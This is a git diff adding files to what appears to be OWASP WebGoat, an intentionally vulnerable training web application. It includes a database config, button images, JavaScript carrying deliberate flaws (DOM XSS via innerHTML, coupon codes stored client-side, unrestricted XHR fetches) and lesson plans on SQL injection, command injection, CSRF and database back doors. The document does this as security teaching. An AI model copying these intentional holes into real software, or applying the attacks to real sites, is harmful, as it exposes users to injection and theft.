+!defaultIsolationLevel=2 + +!--------------------------------------------------------------------- +! +! DATE, TIME AND CURRENCY PROPERTIES +! +!--------------------------------------------------------------------- + +! +! Number of digits after decimal point in currency outputs. Defaults to 2. +! +currencyDecimal=2 +! +! Currency symbol used in currency outputs. Defaults to $. +! +currencySymbol=$ +! +! Default format for date columns. Defaults to "yyyy-mm-dd". +! +!dateFormat=yyyy-mm-dd +! +! Default format for timestamp columns. Defaults to "yyyy-mm-dd hh:nn:ss.lll". +! +!dateTimeFormat=yyyy-mm-dd hh:nn:ss.lll +! +! Default format for time columns. Defaults to "hh:nn:ss.lll". +! +!timeFormat=hh:nn:ss.lll +! +! If set, then all two digit dates less than its value are interpreted +! as 21st century dates. +! +!milleniumBoundary=50 +! +! Set to 1 causes the date string "now" to store a full timestamp. +! Default is to store only the date for fields with now hour in the +! format string. +! +nowMeansTime=0 + +!--------------------------------------------------------------------- +! +! STRING HANDLING PROPERTIES +! +!--------------------------------------------------------------------- + +! +! If set to 1 then String hashes use the JDK Object.hashCode() function. +! By default, uses InstantDB's String hashing. +! +altStringHashing=0 +! +! Set to 1 to cause LIKE clauses to always perform case insensitive +! comparisons. +! +likeIgnoreCase=0 +! +! Same as SET LITERAL STRICT_ON. Prevents string literals being interpreted +! as column names or numbers. Default is 0. +! +strictLiterals=0 +! +! Set this value to 1 (one) if you would like PreparedStatement.setString() +! to ignore "\" (backslash) characters when proceesing string constants. +! When set, InstantDB will not attempt to interpret \ as the start of an +! escape sequence. Default is 0. +! +!prepareIgnoresEscapes=1 + +!--------------------------------------------------------------------- +! +! MISCELLANEOUS PROPERTIES +! +!--------------------------------------------------------------------- + +! +! Allows selected InstantDB keywords to be un-reserved. +! e.g. ignoreKeywords=url,quote would allow the keywords +! url and quote to be used as table or column names. +! +! This faciliy is provided for compatatbility reasons only. +! It's use is not recommended AND IS NOT SUPPORTED. +! +!ignoreKeywords +! +! Non-zero means database is opened in read only mode. +! +readOnly=0 diff --git a/main/project/WebContent/images/buttons/catStarted.jpg b/main/project/WebContent/images/buttons/catStarted.jpg new file mode 100644 index 000000000..447e39d5d Binary files /dev/null and b/main/project/WebContent/images/buttons/catStarted.jpg differ diff --git a/main/project/WebContent/images/buttons/cookies.jpg b/main/project/WebContent/images/buttons/cookies.jpg new file mode 100644 index 000000000..ce23a1af0 Binary files /dev/null and b/main/project/WebContent/images/buttons/cookies.jpg differ diff --git a/main/project/WebContent/images/buttons/cookiesOver.jpg b/main/project/WebContent/images/buttons/cookiesOver.jpg new file mode 100644 index 000000000..6a6f918e7 Binary files /dev/null and b/main/project/WebContent/images/buttons/cookiesOver.jpg differ diff --git a/main/project/WebContent/images/buttons/help.jpg b/main/project/WebContent/images/buttons/help.jpg new file mode 100644 index 000000000..3d409d1fa Binary files /dev/null and b/main/project/WebContent/images/buttons/help.jpg differ diff --git a/main/project/WebContent/images/buttons/helpOver.jpg b/main/project/WebContent/images/buttons/helpOver.jpg new file mode 100644 index 000000000..f5a6759dc Binary files /dev/null and b/main/project/WebContent/images/buttons/helpOver.jpg differ diff --git a/main/project/WebContent/images/buttons/hint.jpg b/main/project/WebContent/images/buttons/hint.jpg new file mode 100644 index 000000000..ab14f704b Binary files /dev/null and b/main/project/WebContent/images/buttons/hint.jpg differ diff --git a/main/project/WebContent/images/buttons/hintLeft.jpg b/main/project/WebContent/images/buttons/hintLeft.jpg new file mode 100644 index 000000000..11c9672e3 Binary files /dev/null and b/main/project/WebContent/images/buttons/hintLeft.jpg differ diff --git a/main/project/WebContent/images/buttons/hintLeftOver.jpg b/main/project/WebContent/images/buttons/hintLeftOver.jpg new file mode 100644 index 000000000..b2ffde62a Binary files /dev/null and b/main/project/WebContent/images/buttons/hintLeftOver.jpg differ diff --git a/main/project/WebContent/images/buttons/hintOver.jpg b/main/project/WebContent/images/buttons/hintOver.jpg new file mode 100644 index 000000000..add0b55a2 Binary files /dev/null and b/main/project/WebContent/images/buttons/hintOver.jpg differ diff --git a/main/project/WebContent/images/buttons/hintRight.jpg b/main/project/WebContent/images/buttons/hintRight.jpg new file mode 100644 index 000000000..6ad8a308f Binary files /dev/null and b/main/project/WebContent/images/buttons/hintRight.jpg differ diff --git a/main/project/WebContent/images/buttons/hintRightOver.jpg b/main/project/WebContent/images/buttons/hintRightOver.jpg new file mode 100644 index 000000000..0d3e6b084 Binary files /dev/null and b/main/project/WebContent/images/buttons/hintRightOver.jpg differ diff --git a/main/project/WebContent/images/buttons/html.jpg b/main/project/WebContent/images/buttons/html.jpg new file mode 100644 index 000000000..6a35166ca Binary files /dev/null and b/main/project/WebContent/images/buttons/html.jpg differ diff --git a/main/project/WebContent/images/buttons/htmlOver.jpg b/main/project/WebContent/images/buttons/htmlOver.jpg new file mode 100644 index 000000000..f02407eb8 Binary files /dev/null and b/main/project/WebContent/images/buttons/htmlOver.jpg differ diff --git a/main/project/WebContent/images/buttons/java.jpg b/main/project/WebContent/images/buttons/java.jpg new file mode 100644 index 000000000..c150194fd Binary files /dev/null and b/main/project/WebContent/images/buttons/java.jpg differ diff --git a/main/project/WebContent/images/buttons/javaOver.jpg b/main/project/WebContent/images/buttons/javaOver.jpg new file mode 100644 index 000000000..f1c62fb4a Binary files /dev/null and b/main/project/WebContent/images/buttons/javaOver.jpg differ diff --git a/main/project/WebContent/images/buttons/lessonComplete.jpg b/main/project/WebContent/images/buttons/lessonComplete.jpg new file mode 100644 index 000000000..e46ad6e1f Binary files /dev/null and b/main/project/WebContent/images/buttons/lessonComplete.jpg differ diff --git a/main/project/WebContent/images/buttons/logout.jpg b/main/project/WebContent/images/buttons/logout.jpg new file mode 100644 index 000000000..c22f7acce Binary files /dev/null and b/main/project/WebContent/images/buttons/logout.jpg differ diff --git a/main/project/WebContent/images/buttons/logoutOver.jpg b/main/project/WebContent/images/buttons/logoutOver.jpg new file mode 100644 index 000000000..bef8a9133 Binary files /dev/null and b/main/project/WebContent/images/buttons/logoutOver.jpg differ diff --git a/main/project/WebContent/images/buttons/params.jpg b/main/project/WebContent/images/buttons/params.jpg new file mode 100644 index 000000000..55a43fa6f Binary files /dev/null and b/main/project/WebContent/images/buttons/params.jpg differ diff --git a/main/project/WebContent/images/buttons/paramsOver.jpg b/main/project/WebContent/images/buttons/paramsOver.jpg new file mode 100644 index 000000000..c51a7b5e9 Binary files /dev/null and b/main/project/WebContent/images/buttons/paramsOver.jpg differ diff --git a/main/project/WebContent/images/buttons/plans.jpg b/main/project/WebContent/images/buttons/plans.jpg new file mode 100644 index 000000000..1640b43e1 Binary files /dev/null and b/main/project/WebContent/images/buttons/plans.jpg differ diff --git a/main/project/WebContent/images/buttons/plansOver.jpg b/main/project/WebContent/images/buttons/plansOver.jpg new file mode 100644 index 000000000..1c8c07bdc Binary files /dev/null and b/main/project/WebContent/images/buttons/plansOver.jpg differ diff --git a/main/project/WebContent/images/buttons/solutions.jpg b/main/project/WebContent/images/buttons/solutions.jpg new file mode 100644 index 000000000..365e33d29 Binary files /dev/null and b/main/project/WebContent/images/buttons/solutions.jpg differ diff --git a/main/project/WebContent/images/buttons/solutionsOver.jpg b/main/project/WebContent/images/buttons/solutionsOver.jpg new file mode 100644 index 000000000..a9cc30306 Binary files /dev/null and b/main/project/WebContent/images/buttons/solutionsOver.jpg differ diff --git a/main/project/WebContent/images/header/header.jpg b/main/project/WebContent/images/header/header.jpg new file mode 100644 index 000000000..9015c9299 Binary files /dev/null and b/main/project/WebContent/images/header/header.jpg differ diff --git a/main/project/WebContent/images/header/header_ASP.jpg b/main/project/WebContent/images/header/header_ASP.jpg new file mode 100644 index 000000000..0bf017439 Binary files /dev/null and b/main/project/WebContent/images/header/header_ASP.jpg differ diff --git a/main/project/WebContent/images/header/header_CShrp.jpg b/main/project/WebContent/images/header/header_CShrp.jpg new file mode 100644 index 000000000..81b610ecf Binary files /dev/null and b/main/project/WebContent/images/header/header_CShrp.jpg differ diff --git a/main/project/WebContent/images/header/header_coldFusion.jpg b/main/project/WebContent/images/header/header_coldFusion.jpg new file mode 100644 index 000000000..ecb3e78ff Binary files /dev/null and b/main/project/WebContent/images/header/header_coldFusion.jpg differ diff --git a/main/project/WebContent/images/header/header_dotNet.jpg b/main/project/WebContent/images/header/header_dotNet.jpg new file mode 100644 index 000000000..30f59ffed Binary files /dev/null and b/main/project/WebContent/images/header/header_dotNet.jpg differ diff --git a/main/project/WebContent/images/icons/rightArrow.jpg b/main/project/WebContent/images/icons/rightArrow.jpg new file mode 100644 index 000000000..b89abbb19 Binary files /dev/null and b/main/project/WebContent/images/icons/rightArrow.jpg differ diff --git a/main/project/WebContent/images/logos/aspect.jpg b/main/project/WebContent/images/logos/aspect.jpg new file mode 100644 index 000000000..b88015ed5 Binary files /dev/null and b/main/project/WebContent/images/logos/aspect.jpg differ diff --git a/main/project/WebContent/images/logos/macadamian.gif b/main/project/WebContent/images/logos/macadamian.gif new file mode 100644 index 000000000..78026f3df Binary files /dev/null and b/main/project/WebContent/images/logos/macadamian.gif differ diff --git a/main/project/WebContent/images/logos/owasp.jpg b/main/project/WebContent/images/logos/owasp.jpg new file mode 100644 index 000000000..3934b7a49 Binary files /dev/null and b/main/project/WebContent/images/logos/owasp.jpg differ diff --git a/main/project/WebContent/images/logos/parasoft.jpg b/main/project/WebContent/images/logos/parasoft.jpg new file mode 100644 index 000000000..2f13e5e05 Binary files /dev/null and b/main/project/WebContent/images/logos/parasoft.jpg differ diff --git a/main/project/WebContent/images/menu_images/1x1.gif b/main/project/WebContent/images/menu_images/1x1.gif new file mode 100644 index 000000000..c95709f1a Binary files /dev/null and b/main/project/WebContent/images/menu_images/1x1.gif differ diff --git a/main/project/WebContent/javascript/DOMXSS.js b/main/project/WebContent/javascript/DOMXSS.js new file mode 100644 index 000000000..9ddb31a10 --- /dev/null +++ b/main/project/WebContent/javascript/DOMXSS.js @@ -0,0 +1,5 @@ +function displayGreeting(name) { + if (name != ''){ + document.getElementById("greeting").innerHTML="Hello, " + name+ "!"; + } +} \ No newline at end of file diff --git a/main/project/WebContent/javascript/DOMXSS_backup.js b/main/project/WebContent/javascript/DOMXSS_backup.js new file mode 100644 index 000000000..9ddb31a10 --- /dev/null +++ b/main/project/WebContent/javascript/DOMXSS_backup.js @@ -0,0 +1,5 @@ +function displayGreeting(name) { + if (name != ''){ + document.getElementById("greeting").innerHTML="Hello, " + name+ "!"; + } +} \ No newline at end of file diff --git a/main/project/WebContent/javascript/clientSideFiltering.js b/main/project/WebContent/javascript/clientSideFiltering.js new file mode 100644 index 000000000..eeb662858 --- /dev/null +++ b/main/project/WebContent/javascript/clientSideFiltering.js @@ -0,0 +1,64 @@ +var dataFetched = false; + + +function selectUser(){ + + var newEmployeeID = document.getElementById("UserSelect").options[document.getElementById("UserSelect").selectedIndex].value; + + document.getElementById("employeeRecord").innerHTML = document.getElementById(newEmployeeID).innerHTML; + +} + + +function fetchUserData(){ + if(!dataFetched){ + dataFetched = true; + ajaxFunction(document.getElementById("userID").value); + } +} + + + + + +function ajaxFunction(userId) + { + var xmlHttp; + try + { + // Firefox, Opera 8.0+, Safari + xmlHttp=new XMLHttpRequest(); + } + catch (e) + { + // Internet Explorer + try + { + xmlHttp=new ActiveXObject("Msxml2.XMLHTTP"); + } + catch (e) + { + try + { + xmlHttp=new ActiveXObject("Microsoft.XMLHTTP"); + } + catch (e) + { + alert("Your browser does not support AJAX!"); + return false; + } + } + } + xmlHttp.onreadystatechange=function() + { + + var result = xmlHttp.responseText; + if(xmlHttp.readyState==4) + { + document.getElementById("hiddenEmployeeRecords").innerHTML=result; + + } + } + xmlHttp.open("GET","lessons/Ajax/clientSideFiltering.jsp?userId=" + userId,true); + xmlHttp.send(null); + } \ No newline at end of file diff --git a/main/project/WebContent/javascript/clientSideValidation.js b/main/project/WebContent/javascript/clientSideValidation.js new file mode 100644 index 000000000..f47c5b83e --- /dev/null +++ b/main/project/WebContent/javascript/clientSideValidation.js @@ -0,0 +1,113 @@ +var coupons = ["nvojubmq", +"emph", +"sfwmjt", +"faopsc", +"fopttfsq", +"pxuttfsq"]; + + +function isValidCoupon(coupon) { + coupon = coupon.toUpperCase(); + for(var i=0; i= 0;i--){ + + for (j = 0;j 2) { + if ((img = MM_findObj(args[2])) != null && !img.MM_init) { + img.MM_init = true; img.MM_up = args[3]; img.MM_dn = img.src; + if ((nbArr = document[grpName]) == null) nbArr = document[grpName] = new Array(); + nbArr[nbArr.length] = img; + for (i=4; i < args.length-1; i+=2) if ((img = MM_findObj(args[i])) != null) { + if (!img.MM_up) img.MM_up = img.src; + img.src = img.MM_dn = args[i+1]; + nbArr[nbArr.length] = img; + } } + } else if (event == "over") { + document.MM_nbOver = nbArr = new Array(); + for (i=1; i < args.length-1; i+=3) if ((img = MM_findObj(args[i])) != null) { + if (!img.MM_up) img.MM_up = img.src; + img.src = (img.MM_dn && args[i+2]) ? args[i+2] : ((args[i+1])? args[i+1] : img.MM_up); + nbArr[nbArr.length] = img; + } + } else if (event == "out" ) { + for (i=0; i < document.MM_nbOver.length; i++) { + img = document.MM_nbOver[i]; img.src = (img.MM_dn) ? img.MM_dn : img.MM_up; } + } else if (event == "down") { + nbArr = document[grpName]; + if (nbArr) + for (i=0; i < nbArr.length; i++) { img=nbArr[i]; img.src = img.MM_up; img.MM_dn = 0; } + document[grpName] = nbArr = new Array(); + for (i=2; i < args.length-1; i+=2) if ((img = MM_findObj(args[i])) != null) { + if (!img.MM_up) img.MM_up = img.src; + img.src = img.MM_dn = (args[i+1])? args[i+1] : img.MM_up; + nbArr[nbArr.length] = img; + } } +} \ No newline at end of file diff --git a/main/project/WebContent/javascript/makeWindow.js b/main/project/WebContent/javascript/makeWindow.js new file mode 100644 index 000000000..ced2494a6 --- /dev/null +++ b/main/project/WebContent/javascript/makeWindow.js @@ -0,0 +1,7 @@ + +function makeWindow(url, windowName) +{ + day = new Date(); + id = day.getTime(); + eval("page" + id + " = window.open(url, '" + id + "', 'toolbar=0,location=0,scrollbars=1,statusbar=0,menubar=0,resizable=1,width=600,height=500');"); +} \ No newline at end of file diff --git a/main/project/WebContent/javascript/menu_system.js b/main/project/WebContent/javascript/menu_system.js new file mode 100644 index 000000000..a97a659bf --- /dev/null +++ b/main/project/WebContent/javascript/menu_system.js @@ -0,0 +1,140 @@ +function MM_findObj(n, d) { + var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) { + d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} + if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i4 || navigator.userAgent.indexOf("MSIE")>-1)&& navigator.userAgent.indexOf("Opera")==-1){pa="px";} + if(navigator.userAgent.indexOf("Opera")>-1){P7OperaW=window.innerWidth;P7OperaH=window.innerHeight;} + if(!document.mc) { m3=new Array(); + m=new Array();document.mc=true;ms=new Array();document.imswap=new Array();document.imswapo=new Array(); + m1=new Array();m2=new Array();mprop=new Object();mprop.offset=args[0];mprop.rate=args[1]; + mprop.delay=args[2];mprop.bottom=args[3]; + if(document.layers){mprop.pageh = document.height;}} + for(var x=4;x0){d.left=(lf+pa);th+=getHW('height',m[j-1]);d.top=(th+pa);} + if((s=MM_findObj(g.sub)) !=null){m2[j]=s;ww=getHW('width',g.sub); + kx=lf-ww-30;dd=(document.layers)?s:s.style; + dd.left=(kx+pa);dd.top=(th+pa);ms[j]=th;dd.visibility="visible";s.open=false;s.waiting=false;}}} + if((g=MM_findObj(mprop.bottom)) !=null){d=(document.layers)?g:g.style; + d.left=(lf+parseInt(args[0])+pa);th+=getHW('height',m[m.length-1]);d.top=(th+pa);} +} + +function BM1(el,x,y,a,b,c,s) { + var g,elo=el,f="",m=false,d="";x=parseInt(x);y=parseInt(y); + var t = 'g.BM = setTimeout("BM1(\''+elo+'\','; + if ((g=MM_findObj(el))!=null) {d=(document.layers)?g:g.style;}else{return;} + var xx=(parseInt(d.left))?parseInt(d.left):0; + var yy=(parseInt(d.top))?parseInt(d.top):0; + var i=parseInt(a); + if (eval(g.moved)){clearTimeout(g.BM);} + if (xxx){xx=x;}} + if (xx>x){xx-=i;m=true;if(xxy){yy=y;}} + if (yy>y){yy-=i;m=true;if(yy4 || navigator.userAgent.indexOf("MSIE")>-1)&& navigator.userAgent.indexOf("Opera")==-1){ + xx+="px";yy+="px";}d.left=xx;d.top=yy;g.moved=true;eval(t+x+','+y+','+a+','+b+','+c+',0)",'+b+')'); + }else {g.moved=false;wait(elo);} +} + +function wait(a) { + var ma,mb;if((mb=MM_findObj(a)) !=null){ + if(!mb.waiting || mb.waiting=="none"){return;} + ma=mb.waiting;mb.waiting=false;eval(ma);} +} + +function trigMenuMagic1(a,sw) { + var x,g,gg,d,dd,w,lp,tp,im,im2,ts,nu,e,pa=0;if(!document.mc)return; + if((parseInt(navigator.appVersion)>4 || navigator.userAgent.indexOf("MSIE")>-1)&& navigator.userAgent.indexOf("Opera")==-1){pa="px";} + if(navigator.userAgent.indexOf("Opera")>-1){if( P7OperaW!=window.innerWidth || P7OperaH!=window.innerHeight)setMenuMagic1();} + var ofs=parseInt(mprop.offset),trt = parseInt(mprop.rate); + var tdy=parseInt(mprop.delay),tsb,tlf,tst;for(x=0;xtcd){tdl=m[j];tcd=df;}th+=getHW('height',m[j]); + if(x==j && tst=="closed"){tsb=th;if(m3[j]!=1){th+=getHW('height',d.sub);}}ms[j]=th;} + if(tst=="closed"){d=m1[x];dd=(document.layers)?d:d.style; + g=m2[x];gg=(document.layers)?g:g.style;lp=tlf+ofs; + gg.top=(tsb+pa);ms[x]=tsb;e=MM_findObj(d.imname);if(parseInt(sw)==1){e.src=ts;} + g.open=true;if(m3[x]!=1){gg.visibility="visible";var r;r=MM_findObj(tdl); + r.waiting="BM1('"+d.sub+"',"+lp+","+tsb+","+20000+","+tdy+",0,0)" ;} + }else{d=m1[m1.length-1];d.waiting="none";} + for(j=0;j1){pr=ur.substring(x+1,ur.length).split("&"); + for(i=0;i0){if(unescape(nv[0])==param){ + mn="menu"+unescape(nv[1]); + eval("trigMenuMagic1('"+mn+"',"+opt+")");}}}} + } + + document.mm1Q=true; \ No newline at end of file diff --git a/main/project/WebContent/javascript/sameOrigin.js b/main/project/WebContent/javascript/sameOrigin.js new file mode 100644 index 000000000..811f95b03 --- /dev/null +++ b/main/project/WebContent/javascript/sameOrigin.js @@ -0,0 +1,101 @@ + + + +function submitXHR(){ + + document.getElementById("responseTitle").innerHTML="Response: "; + + document.getElementById("responseArea").innerHTML=""; + + alert("creating XHR request for: " + document.getElementById("requestedURL").value); + + + + try{ + ajaxFunction(); + } + catch(err){ + alert(err); + document.getElementById("requestedURL").value=""; + } +} + + + +function ajaxFunction() + { + var xmlHttp; + try + { + // Firefox, Opera 8.0+, Safari + xmlHttp=new XMLHttpRequest(); + } + catch (e) + { + // Internet Explorer + try + { + xmlHttp=new ActiveXObject("Msxml2.XMLHTTP"); + } + catch (e) + { + try + { + xmlHttp=new ActiveXObject("Microsoft.XMLHTTP"); + } + catch (e) + { + alert("Your browser does not support AJAX!"); + return false; + } + } + } + xmlHttp.onreadystatechange=function() + { + + var result = xmlHttp.responseText; + if(xmlHttp.readyState==4) + { + + + document.getElementById("responseTitle").innerHTML="Response from: " + + document.getElementById("requestedURL").value ; + + document.getElementById("responseArea").innerHTML=result; + + document.getElementById("requestedURL").value=""; + + } + } + + xmlHttp.open("GET",document.getElementById("requestedURL").value,true); + xmlHttp.send(null); + } + + + +function populate(url){ + document.getElementById("requestedURL").value=url; + submitXHR(); + + + var webGoatURL = "lessons/Ajax/sameOrigin.jsp"; + var googleURL = "http://www.google.com/search?q=aspect+security"; + + var hiddenWGStatus = document.getElementById("hiddenWGStatus"); + + var hiddenGoogleStatus = document.getElementById("hiddenGoogleStatus"); + + + if (url == webGoatURL){ + hiddenWGStatus.value = 1; + } + + if (url == googleURL){ + hiddenGoogleStatus.value = 1; + } + + if (hiddenWGStatus.value == 1 && hiddenGoogleStatus.value == 1){ + document.form.submit(); + } +} \ No newline at end of file diff --git a/main/project/WebContent/javascript/toggle.js b/main/project/WebContent/javascript/toggle.js new file mode 100644 index 000000000..82650a3e4 --- /dev/null +++ b/main/project/WebContent/javascript/toggle.js @@ -0,0 +1,40 @@ +var iframe; + +function initIframe() { + var body; + var element; + + body = document.getElementsByTagName('body')[0]; + element = document.getElementById('lessonPlans'); + + iframe = document.createElement('iframe'); + iframe.style.position = "absolute"; + iframe.style.visibility = "hidden"; + body.appendChild(iframe); + + // Configure the iFrame to border the lessonPlan + document.getElementsByTagName('body')[0].appendChild(element); + iframe.style.height = element.offsetHeight; + iframe.style.left = '275px'; + iframe.style.top = '145px'; + iframe.style.width = '474px'; +} + + +function toggle(id) { + element = document.getElementById(id); + + if (!element) return; + + if (element.style.visibility=='visible' || element.style.visibility=='') { + iframe.style.visibility = 'hidden'; + element.style.visibility = 'hidden'; + element.style.overflow = 'hidden'; + element.style.height='1'; + } else { + iframe.style.visibility= 'visible'; + element.style.visibility = 'visible'; + element.style.overflow = 'visible'; + element.style.height=''; + } + } \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/AccessControlMatrix.html b/main/project/WebContent/lesson_plans/AccessControlMatrix.html new file mode 100644 index 000000000..576bf3b72 --- /dev/null +++ b/main/project/WebContent/lesson_plans/AccessControlMatrix.html @@ -0,0 +1,9 @@ +
+

Lesson Plan Title: Using an Access Control Matrix

+
+

Concept / Topic To Teach:

+ +In a role-based access control scheme, a role represents a set of access permissions and privileges. A user can be assigned one or more roles. A role-based access control scheme normally consists of two parts: role permission management and role assignment. A broken role-based access control scheme might allow a user to perform accesses that are not allowed by his/her assigned roles, or somehow allow privilege escalation to an unauthorized role. +

General Goal(s):

+Each user is a member of a role that is allowed to access only certain resources. Your goal is to explore the access control rules that govern this site. Only the [Admin] group should have access to the 'Account Manager' resource. + diff --git a/main/project/WebContent/lesson_plans/BackDoors.html b/main/project/WebContent/lesson_plans/BackDoors.html new file mode 100644 index 000000000..c4ac8a08a --- /dev/null +++ b/main/project/WebContent/lesson_plans/BackDoors.html @@ -0,0 +1,23 @@ +
+

Lesson Plan Title: How to Create Database Back Door Attacks.

+
+ +

Concept / Topic To Teach:

+How to Create Database Back Door Attacks. +
+
+

+How the attacks works: +

+Databases are used usually as a backend for web applications. Also it is used as a media of storage. It can also +be used as a place to store a malicious activity such as a trigger. A trigger is called by the database management +system upon the execution of another database operation like insert, select, update or delete. An attacker for example +can create a trigger that would set his email address instead of every new user's email address. +
+

General Goal(s):

+ +* Your goal should be to learn how you can exploit a vulnerable query to create a trigger.
+* You will not be able to actually create one in this lesson because the underlying database engine used with WebGoat doesn't support triggers.
+* Your login ID is 101. + + diff --git a/main/project/WebContent/lesson_plans/BasicAuthentication.html b/main/project/WebContent/lesson_plans/BasicAuthentication.html new file mode 100644 index 000000000..73a3c736d --- /dev/null +++ b/main/project/WebContent/lesson_plans/BasicAuthentication.html @@ -0,0 +1,9 @@ +
+

Lesson Plan Title: Basic Authentication

+
+

Concept / Topic To Teach:

+ +Basic Authentication is used to protect server side resources. The web server will send a 401 authentication request with the response for the requested resource. The client side browser will then prompt the user for a user name and password using a browser supplied dialog box. The browser will base64 encode the user name and password and send those credentials back to the web server. The web server will then validate the credentials and return the requested resource if the credentials are correct. These credentials are automatically resent for each page protected with this mechanism without requiring the user to enter their credentials again.
+

General Goal(s):

+For this lesson, your goal is to understand Basic Authentication and answer the questions below. + diff --git a/main/project/WebContent/lesson_plans/BlindSqlInjection.html b/main/project/WebContent/lesson_plans/BlindSqlInjection.html new file mode 100644 index 000000000..0ff76e32e --- /dev/null +++ b/main/project/WebContent/lesson_plans/BlindSqlInjection.html @@ -0,0 +1,15 @@ +
+

Lesson Plan Title: How to Perform Blind SQL Injection

+
+ +

Concept / Topic To Teach:

+ +SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks an incredible number of systems on the internet are susceptible to this form of attack. +
+Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can be almost totally prevented. This lesson will show the student several examples of SQL injection.
+
+It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries.
+ + +

General Goal(s):

+The form below allows a user to enter an account number and determine if it is valid or not. Use this form to develop a true / false test check other entries in the database.

Reference Ascii Values: 'A' = 65 'Z' = 90 'a' = 97 'z' = 122

The goal is to find the value of the first_name in table user_data for userid 15613. Put that name in the form to pass the lesson. diff --git a/main/project/WebContent/lesson_plans/BufferOverflow.html b/main/project/WebContent/lesson_plans/BufferOverflow.html new file mode 100644 index 000000000..b25b4f944 --- /dev/null +++ b/main/project/WebContent/lesson_plans/BufferOverflow.html @@ -0,0 +1,9 @@ +
+

Lesson Plan Title: How to Exploit Buffer Overflows

+
+ +

Concept / Topic To Teach:

+How to Exploit Buffer Overflows. +

General Goal(s):

+This lesson needs a creator! + \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/CSRF.html b/main/project/WebContent/lesson_plans/CSRF.html new file mode 100644 index 000000000..dc17ddef9 --- /dev/null +++ b/main/project/WebContent/lesson_plans/CSRF.html @@ -0,0 +1,26 @@ +
+

Lesson Plan Title: How to Perform Cross Site Request Forgery.

+
+ +

Concept / Topic To Teach:

+ This lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks. +
+
+

+How the attacks works: +

+Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into loading a page that contains img links like the one below: + +
<img src="http://www.mybank.com/sendFunds.do?acctId=123456"/>
+ +When the victim's browser attempts to render this page, it will issue a request to www.mybank.com to the transferFunds.do page with the specified parameters. The browser will think the link is to get an image, even though it actually is a funds transfer function. + +The request will include any cookies associated with the site. Therefore, if the user has authenticated to the site, and has either a permanent cookie or even a current session cookie, the site will have no way to distinguish this from a legitimate user request. + +In this way, the attacker can make the victim perform actions that they didn't intend to, such as logout, purchase item, or any other function provided by the vulnerable website +
+

General Goal(s):

+ +Your goal is to send an email to a newsgroup that contains an image whose URL is pointing to a malicious request. Try to include a 1x1 pixel image that includes a URL. The URL should point to the CSRF lesson with an extra parameter "transferFunds=4000". You can copy the shortcut from the left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever receives this email and happens to be authenticated at that time will have his funds transferred. When you think the attack is successful, refresh the page and you will find the green check on the left hand side menu. + + diff --git a/main/project/WebContent/lesson_plans/ChallengeScreen.html b/main/project/WebContent/lesson_plans/ChallengeScreen.html new file mode 100644 index 000000000..b3d9b3321 --- /dev/null +++ b/main/project/WebContent/lesson_plans/ChallengeScreen.html @@ -0,0 +1,7 @@ +
+

Lesson Plan Title: Putting it all together

+

+

Concept / Topic To Teach:

+This lesson creates a challenge that will help the student apply all that they have learned.
+General Goal(s):
+Display the secret message. \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/ClientSideFiltering.html b/main/project/WebContent/lesson_plans/ClientSideFiltering.html new file mode 100644 index 000000000..608c360e5 --- /dev/null +++ b/main/project/WebContent/lesson_plans/ClientSideFiltering.html @@ -0,0 +1,12 @@ +
+

Lesson Plan Title: Client Side Filtering

+
+

Concept / Topic To Teach:

+ +It is always a good practice to send to the client only information which they are supposed +to have access to. In this lesson, too much information is being sent to the client, creating +a serious access control problem. + +

General Goal(s):

+For this exercise, your mission is exploit the extraneous information being returned by the +server to discover information to which you should not have access. \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/ClientSideValidation.html b/main/project/WebContent/lesson_plans/ClientSideValidation.html new file mode 100644 index 000000000..e712b6fb7 --- /dev/null +++ b/main/project/WebContent/lesson_plans/ClientSideValidation.html @@ -0,0 +1,15 @@ +
+

Lesson Plan Title: Insecure Client Storage

+
+

Concept / Topic To Teach:

+ +It is always a good practice to validate all input on the server side. Leaving the +mechanism for validation on the client side leaves it vulnerable to reverse +engineering. Remember, anything on the client side should not be +considered a secret. + +

General Goal(s):

+For this exercise, your mission is to discover a coupon code to receive an unintended +discount. Then, exploit the use of client side validation to submit an order with a +cost of zero. + diff --git a/main/project/WebContent/lesson_plans/CommandInjection.html b/main/project/WebContent/lesson_plans/CommandInjection.html new file mode 100644 index 000000000..5fbbb2d58 --- /dev/null +++ b/main/project/WebContent/lesson_plans/CommandInjection.html @@ -0,0 +1,11 @@ +
+

Lesson Plan Title: How to Perform Command Injection

+
+

Concept / Topic To Teach:

+ +Command  injection attacks represent a serious threat to any parameter-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks an incredible number of systems on the internet are susceptible to this form of attack.
+Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can be almost totally prevented. This lesson will show the student several examples of parameter injection.
+It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries.
+ +

General Goal(s):

+The user should be able to execute any command on the hosting OS. \ No newline at end of file diff --git a/main/project/WebContent/lesson_plans/ConcurrencyCart.html b/main/project/WebContent/lesson_plans/ConcurrencyCart.html new file mode 100644 index 000000000..4a2f44b75 --- /dev/null +++ b/main/project/WebContent/lesson_plans/ConcurrencyCart.html @@ -0,0 +1,22 @@ + + + + + + Lesson Plan + + + +
+

Lesson Plan Title: Shopping Cart Concurrency Flaw

+
+ +

Concept / Topic To Teach:

+ + Web applications can handle many HTTP requests simultaneously. Developers often use variables that are not thread safe.  Thread safety means that the fields of an object or class always maintain a valid state when used concurrently by multiple threads. It is often possible to exploit a concurrency bug by loading the same page as another user at the exact same time. Because all threads share the same method area, and the method area is where all class variables are stored, multiple threads can attempt to use the same class variables concurrently.
+ +

General Goal(s):

+For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase merchandise for a lower price. +
